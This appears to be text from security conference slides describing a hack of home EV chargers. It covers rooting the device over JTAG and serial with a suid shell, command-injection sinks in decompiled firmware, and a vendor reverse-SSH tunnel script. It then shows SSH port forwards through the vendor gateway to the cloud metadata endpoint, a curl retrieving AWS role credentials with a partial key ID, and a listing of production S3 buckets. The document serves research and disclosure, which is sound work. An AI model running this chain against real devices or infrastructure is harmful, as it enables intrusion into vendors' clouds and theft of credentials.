
Low Energy to High Energy: 
Hacking Nearby EV-Chargers Over Bluetooth













Obtaining the firmware

> Autoboot was enabled, root password was unknown 

> Connect both JTAG and serial 

> Reset and halt the CPU 

> Find the abortboot() function in memory and set a breakpoint 

• Make sure it returns 1 

> Use serial to boot into single user mode 

> Add a user to the system and drop a suid shell 

> Profit!







      snprintf(
        command,
        0x100u,
        "/usr/sbin/wpa_passphrase \"%s\" \"%s\" | grep \"psk=\" | tail -1 | cut -c6-",
        &msg->ssid,
        &msg->password);
      popen_res = popen(command, "r");









/opt/etc/coul/cps.conf: 

Url=https://172.16.110.201:343/gs/pgm.php 
WsUrl=wss://homecharger-eu.chargepoint.com:443/ws-prod/panda/v1 
WsKey=/var/config/.keys/ca.crt 
AuthUrl=https://172.16.50.197:343/gs/pgm 
KioskUrl=http://172.31.254.10:80/gsemb_in/pgm.php 
CACertificateFile=/var/config/.keys/ca.crt 
CertificateFile=/var/config/.keys/system.crt 
KeyFile=/var/config/.keys/system.key 
KeyType=PEM 
VerifyHostName=1 
MaxEnqueueFailures=40







[
  2,
  "1706198695",
  "DataTransfer",
  {
    "vendorId": "ChargePoint",
    "data": "saddr|1|3508|<serial number>|1706198695|0|1|1706198695|
homecharger-eu.chargepoint.com:443/ws-prod/panda/v1"
  },
  "<serial number>"
]



if ( command_id == 701 )
{
v91 = payload[136];
v92 = s;
strcpy((char *)s, "NA");
if ( v91 )
v92 = payload + 136;
cmd = payload + 36;
CTLogWhere(5, "RouteToFsmInstance", 4105, 0x4000, "\n**** Executing BOOTCONTROL 

cmd %s\n”, cmd);
v94 = strstr(cmd, "reboot");
type = "reboot";
if ( !v94 )
type = "bankswitch";

recordReboot(v92, type, "NOC", 0, 1);
system(cmd);

}







#!/bin/sh
# Bring up pinned up reverse tunnel to mothership. Try forever, but back off
# connection attempts to keep from wasting resources.  Peg the retry time at
# some max and keep trying.
...
SERIAL_NUM=`cat /var/config/cs_sn`
SN_YEAR=`echo $SERIAL_NUM | head -c 2`
BASE_SERVER_PORT=20000
BASE_SERIAL=0
SERIAL_MODULO=10000
SERIAL_MINOR=`expr $SERIAL_NUM % $SERIAL_MODULO`
REVPORT=`expr $SERIAL_MINOR - $BASE_SERIAL`
REVPORT=`expr $REVPORT + $BASE_SERVER_PORT`
#FOR QA server please uncomment this line
#REVSYSTEM="pandagateway.ev-chargepoint.com"
REVSYSTEM="ba79k2rx5jru.chargepoint.com"
REVSYSTEMPORT="-p 343"
REVHOST="pandart@$REVSYSTEM"
REVHOST_2016="pandart@xiuq0o4yl57c.chargepoint.com"
#For 2017
REVHOST_2017="pandart@xiuq0o4yl57c2017.chargepoint.com"
...
while true; do
    ...
    # Connect to the appropriate server based on the year code in the serial number.
    if [ "$SN_YEAR" = "17" ]; then
        # Connect to the 2017 server.
        #printf "---> Connecting to 2017 server: $REVHOST_2017\n"
        $LOG "attempting connection to $REVHOST_2017"
        ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" $REVSYSTEMPORT -N -T 
-R $REVPORT:localhost:23 $REVHOST_2017 &
...



ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" -p 343 -N -T 
-R $REVPORT:localhost:23 
pandart@xiuq0o4yl57c2017.chargepoint.com



ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" -p 343 -N -T 
-L 1337:127.0.0.1:20023 
pandart@xiuq0o4yl57c2017.chargepoint.com



ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" -p 343 -N -T 
-L 1337:google.com:80 
pandart@xiuq0o4yl57c2017.chargepoint.com



ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" -p 343 -N -T 
-L 1337:169.254.169.254:80 
pandart@xiuq0o4yl57c2017.chargepoint.com



$ curl http://localhost:1337/latest/meta-data/iam/security-
credentials/cp-prod-ota-servers-role 
{
  "Code": "Success",
  "LastUpdated": "2024-01-25T20:21:21Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQKPTIBNKQN2DLSML",
  "SecretAccessKey": "<key>",
  "Token": "<token>",
  "Expiration": "2024-01-26T02:28:42Z"
}



$ aws s3 ls 
2020-03-27 16:17:02 aws-athena-query-results-022521842517-ca-central-1 
2019-07-17 19:23:19 aws-athena-query-results-022521842517-eu-central-1 
2020-06-26 07:15:33 aws-athena-query-results-022521842517-us-west-2 
2022-09-21 08:52:30 aws-cloudtrail-logs-022521842517-c3dfcdde-debug-datalake 
2022-01-20 14:21:52 aws-glue-assets-022521842517-us-west-2 
2020-06-26 07:53:11 aws-glue-scripts-022521842517-us-west-2 
2020-06-26 07:57:20 aws-glue-temporary-022521842517-us-west-2 
2020-06-17 04:15:13 cf-templates-aws-deployer-2-cp-prod-ap-southeast-2 
2020-06-10 04:11:10 cf-templates-aws-deployer-2-cp-prod-ca-central-1 
2020-06-23 04:10:57 cf-templates-aws-deployer-2-cp-prod-eu-central-1 
2020-06-17 04:15:13 cf-templates-aws-deployer-cp-prod-ap-southeast-2 
2020-06-23 04:10:57 cf-templates-aws-deployer-cp-prod-eu-central-1 
2020-07-01 13:45:27 cf-templates-aws-deployer-cp-prod-us-east-1 
2020-06-26 12:17:56 cf-templates-aws-deployer-cp-prod-us-west-2 
2020-06-17 04:16:26 cf-templates-fg3iuljzn1mh-ap-southeast-2 
2020-06-10 04:11:28 cf-templates-fg3iuljzn1mh-ca-central-1 
2020-06-23 04:12:10 cf-templates-fg3iuljzn1mh-eu-central-1 
2020-06-18 03:55:58 cf-templates-fg3iuljzn1mh-us-east-2 
2020-06-26 12:23:09 cf-templates-fg3iuljzn1mh-us-west-2 
2020-06-27 08:06:20 config-bucket-cp-prod 
2019-07-19 11:36:28 cp-infra-logs 
2020-07-02 15:38:44 cp-prod-022521842517-cloudtrail-logs 
2020-03-27 10:51:52 cp-prod-ca-datalake 
2022-02-17 01:52:33 cp-prod-cardconf 
2020-06-27 08:26:51 cp-prod-datalake-build-artifacts 
2021-08-18 02:19:20 cp-prod-fra-nos-notification-configuration 
2022-02-24 09:36:38 cp-prod-fra-nos-pricing 
2022-04-02 23:15:49 cp-prod-fra-nos-reports 
...
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